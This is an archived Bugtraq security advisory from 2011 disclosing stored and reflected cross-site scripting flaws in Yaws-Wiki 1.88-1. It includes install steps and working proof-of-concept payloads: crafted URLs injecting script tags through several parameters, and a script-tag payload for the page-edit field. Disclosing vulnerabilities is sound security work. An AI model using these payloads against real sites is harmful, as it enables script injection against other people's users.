bugtraq - Stored and Reflective XSS in Yaws-Wiki 1.88-1 (Erlang)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 4 Apr 2011 01:36:36 -0000
From: mike@...ewat.ch
To: bugtraq@...urityfocus.com
Subject: Stored and Reflective XSS in Yaws-Wiki 1.88-1 (Erlang)

Software: yaws-wiki
version affected: 1.88-1 
platform:  Erlang
homepage:http://yaws.hyber.org/
Researcher: Michael Brooks
Original Advisory:https://sitewat.ch/en/Advisory/4

Install instructions for Ubuntu:
sudo apt-get install yaws-wiki

Edit:/etc/yaws/conf.d/yaws-wiki.conf
#add this:
<server wiki>
 port = 8181
 listen = 0.0.0.0
 docroot = /var/lib/yaws-wiki
</server>

Then restart yaws:
sudo /etc/init.d/yaws restart


Reflective XSS:
http://localhost:8181/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://localhost:8181/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://localhost:8181/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E

Stored XSS:
http://localhost:8181/editPage.yaws?node=home

The large textbox on the editPage.yaws page is vulnerable to xss.  This is the"text" post variable:
<script>alert(1)</script>